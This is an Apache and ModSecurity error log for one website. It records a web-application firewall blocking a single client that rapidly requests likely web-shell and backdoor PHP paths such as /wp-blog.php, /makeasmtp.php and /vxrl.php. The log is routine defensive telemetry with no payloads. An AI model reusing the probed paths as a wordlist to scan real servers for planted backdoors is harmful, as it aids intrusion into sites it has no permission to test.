[Fri Feb 27 08:14:23.288709 2026] [:error] [pid 54102:tid 54164] [client 51.12.82.80:3070] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aaDh33i74D4fiYUm_GfIGQAAAJQ"]
[Fri Feb 27 08:14:23.902156 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:4750] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aaDh3-Tvb5AeyJCdY7AKggAAAE0"]
[Fri Feb 27 08:14:24.471184 2026] [:error] [pid 54231:tid 54240] [client 51.12.82.80:4772] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aaDh4OTvb5AeyJCdY7AKhgAAAEY"]
[Fri Feb 27 08:14:25.064149 2026] [:error] [pid 54231:tid 54258] [client 51.12.82.80:23415] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDh4eTvb5AeyJCdY7AKigAAAFg"]
[Fri Feb 27 08:14:25.655552 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:5369] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDh4eTvb5AeyJCdY7AKjgAAAEg"]
[Fri Feb 27 08:14:26.206961 2026] [:error] [pid 54102:tid 54151] [client 51.12.82.80:34774] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDh4ni74D4fiYUm_GfIIQAAAIc"]
[Fri Feb 27 08:14:26.774444 2026] [:error] [pid 54102:tid 54152] [client 51.12.82.80:8324] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDh4ni74D4fiYUm_GfIJAAAAIg"]
[Fri Feb 27 08:14:27.364694 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:4791] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDh4-Tvb5AeyJCdY7AKlAAAAFE"]
[Fri Feb 27 08:14:28.065677 2026] [:error] [pid 54231:tid 54253] [client 51.12.82.80:23369] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDh5OTvb5AeyJCdY7AKlgAAAFM"]
[Fri Feb 27 08:14:28.606451 2026] [:error] [pid 54103:tid 54193] [client 51.12.82.80:3071] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDh5OvG4MPCmE0B2sDfLgAAANY"]
[Fri Feb 27 08:14:29.246961 2026] [:error] [pid 54103:tid 54194] [client 51.12.82.80:34779] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDh5evG4MPCmE0B2sDfNQAAANc"]
[Fri Feb 27 08:14:29.841427 2026] [:error] [pid 54103:tid 54180] [client 51.12.82.80:23255] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDh5evG4MPCmE0B2sDfOQAAAMk"]
[Fri Feb 27 08:14:30.379254 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:3056] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDh5uTvb5AeyJCdY7AKmgAAAEE"]
[Fri Feb 27 08:14:30.934048 2026] [:error] [pid 54101:tid 54112] [client 51.12.82.80:34438] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDh5lY5qgRktcYTGFuwewAAAcQ"]
[Fri Feb 27 08:14:31.513560 2026] [:error] [pid 54231:tid 54252] [client 51.12.82.80:5337] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDh5-Tvb5AeyJCdY7AKngAAAFI"]
[Fri Feb 27 08:14:32.041265 2026] [:error] [pid 54102:tid 54148] [client 51.12.82.80:4780] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDh6Hi74D4fiYUm_GfIMAAAAIQ"]
[Fri Feb 27 08:14:32.607912 2026] [:error] [pid 54101:tid 54129] [client 51.12.82.80:35349] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDh6FY5qgRktcYTGFuwfgAAAdU"]
[Fri Feb 27 08:14:33.141079 2026] [:error] [pid 54102:tid 54169] [client 51.12.82.80:4798] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDh6Xi74D4fiYUm_GfIMgAAAJg"]
[Fri Feb 27 08:14:33.665551 2026] [:error] [pid 54231:tid 54244] [client 51.12.82.80:16625] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDh6eTvb5AeyJCdY7AKpgAAAEo"]
[Fri Feb 27 08:14:34.223513 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:2514] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDh6uTvb5AeyJCdY7AKpwAAAEg"]
[Fri Feb 27 08:14:34.834087 2026] [:error] [pid 54102:tid 54159] [client 51.12.82.80:2510] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDh6ni74D4fiYUm_GfINQAAAI8"]
[Fri Feb 27 08:14:35.378405 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:20531] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDh6-Tvb5AeyJCdY7AKrwAAAEk"]
[Fri Feb 27 08:14:35.907325 2026] [:error] [pid 54102:tid 54162] [client 51.12.82.80:14607] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDh63i74D4fiYUm_GfINgAAAJI"]
[Fri Feb 27 08:14:36.443090 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:14677] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDh7OTvb5AeyJCdY7AKtQAAAEc"]
[Fri Feb 27 08:14:36.984456 2026] [:error] [pid 54101:tid 54127] [client 51.12.82.80:11991] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDh7FY5qgRktcYTGFuwhgAAAdM"]
[Fri Feb 27 08:14:37.559187 2026] [:error] [pid 54103:tid 54175] [client 51.12.82.80:2505] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDh7evG4MPCmE0B2sDfVAAAAMQ"]
[Fri Feb 27 08:14:38.092529 2026] [:error] [pid 54102:tid 54160] [client 51.12.82.80:20530] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDh7ni74D4fiYUm_GfIOwAAAJA"]
[Fri Feb 27 08:14:38.620244 2026] [:error] [pid 54231:tid 54252] [client 51.12.82.80:4596] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDh7uTvb5AeyJCdY7AKuQAAAFI"]
[Fri Feb 27 08:14:39.197204 2026] [:error] [pid 54102:tid 54149] [client 51.12.82.80:14662] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDh73i74D4fiYUm_GfIQAAAAIU"]
[Fri Feb 27 08:14:39.721826 2026] [:error] [pid 54103:tid 54170] [client 51.12.82.80:36132] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDh7-vG4MPCmE0B2sDfWAAAAMA"]
[Fri Feb 27 08:14:40.249035 2026] [:error] [pid 54103:tid 54191] [client 51.12.82.80:16620] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDh8OvG4MPCmE0B2sDfWgAAANQ"]
[Fri Feb 27 08:14:40.783159 2026] [:error] [pid 54101:tid 54112] [client 51.12.82.80:2325] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aaDh8FY5qgRktcYTGFuwkQAAAcQ"]
[Fri Feb 27 08:14:41.318709 2026] [:error] [pid 54103:tid 54182] [client 51.12.82.80:20494] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aaDh8evG4MPCmE0B2sDfXAAAAMs"]
[Fri Feb 27 08:14:41.844384 2026] [:error] [pid 54103:tid 54179] [client 51.12.82.80:20492] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aaDh8evG4MPCmE0B2sDfXgAAAMg"]
[Fri Feb 27 08:14:42.392543 2026] [proxy_fcgi:error] [pid 54101:tid 54120] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:42.659571 2026] [proxy_fcgi:error] [pid 54101:tid 54109] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:42.926431 2026] [proxy_fcgi:error] [pid 54101:tid 54126] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:43.196292 2026] [proxy_fcgi:error] [pid 54101:tid 54116] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:43.467805 2026] [proxy_fcgi:error] [pid 54101:tid 54132] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:43.734785 2026] [proxy_fcgi:error] [pid 54101:tid 54118] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:44.000966 2026] [proxy_fcgi:error] [pid 54101:tid 54111] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:44.268830 2026] [proxy_fcgi:error] [pid 54101:tid 54113] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:44.536991 2026] [proxy_fcgi:error] [pid 54101:tid 54123] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:44.807081 2026] [proxy_fcgi:error] [pid 54101:tid 54124] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:45.073657 2026] [proxy_fcgi:error] [pid 54101:tid 54122] [client 51.12.82.80:11977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:14:45.336269 2026] [:error] [pid 54101:tid 54108] [client 51.12.82.80:11977] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh9VY5qgRktcYTGFuwpgAAAcA"]
[Fri Feb 27 08:14:45.860521 2026] [:error] [pid 54102:tid 54160] [client 51.12.82.80:8895] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh9Xi74D4fiYUm_GfITAAAAJA"]
[Fri Feb 27 08:14:46.386843 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:2306] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh9uTvb5AeyJCdY7AK1gAAAEw"]
[Fri Feb 27 08:14:46.961225 2026] [:error] [pid 54103:tid 54176] [client 51.12.82.80:14600] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh9uvG4MPCmE0B2sDfZAAAAMU"]
[Fri Feb 27 08:14:47.523270 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:4570] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaDh9-Tvb5AeyJCdY7AK2gAAAFE"]
[Fri Feb 27 08:14:48.049981 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:2897] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaDh-OTvb5AeyJCdY7AK3QAAAEk"]
[Fri Feb 27 08:14:48.585769 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:4725] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaDh-OTvb5AeyJCdY7AK3gAAAEc"]
[Fri Feb 27 08:14:49.121793 2026] [:error] [pid 54102:tid 54166] [client 51.12.82.80:7984] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aaDh-Xi74D4fiYUm_GfIUwAAAJY"]
[Fri Feb 27 08:14:49.709731 2026] [:error] [pid 54102:tid 54169] [client 51.12.82.80:34491] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aaDh-Xi74D4fiYUm_GfIVQAAAJg"]
[Fri Feb 27 08:14:50.279859 2026] [:error] [pid 54231:tid 54234] [client 51.12.82.80:28894] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aaDh-uTvb5AeyJCdY7AK5wAAAEA"]
[Fri Feb 27 08:14:50.840564 2026] [:error] [pid 54103:tid 54172] [client 51.12.82.80:4763] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aaDh-uvG4MPCmE0B2sDfaQAAAME"]
[Fri Feb 27 08:14:51.390130 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:2509] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aaDh--Tvb5AeyJCdY7AK7AAAAEE"]
[Fri Feb 27 08:14:51.977889 2026] [:error] [pid 54231:tid 54244] [client 51.12.82.80:16577] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaDh--Tvb5AeyJCdY7AK8QAAAEo"]
[Fri Feb 27 08:14:52.567468 2026] [:error] [pid 54231:tid 54236] [client 51.12.82.80:28876] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaDh_OTvb5AeyJCdY7AK9AAAAEI"]
[Fri Feb 27 08:14:53.125918 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:2888] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaDh_eTvb5AeyJCdY7AK9gAAAEk"]
[Fri Feb 27 08:14:53.672430 2026] [:error] [pid 54103:tid 54183] [client 51.12.82.80:12256] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaDh_evG4MPCmE0B2sDfcwAAAMw"]
[Fri Feb 27 08:14:54.239161 2026] [:error] [pid 54102:tid 54159] [client 51.12.82.80:7954] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh_ni74D4fiYUm_GfIXAAAAI8"]
[Fri Feb 27 08:14:54.764867 2026] [:error] [pid 54102:tid 54153] [client 51.12.82.80:2883] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh_ni74D4fiYUm_GfIXQAAAIk"]
[Fri Feb 27 08:14:55.326078 2026] [:error] [pid 54102:tid 54155] [client 51.12.82.80:14642] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aaDh_3i74D4fiYUm_GfIXwAAAIs"]
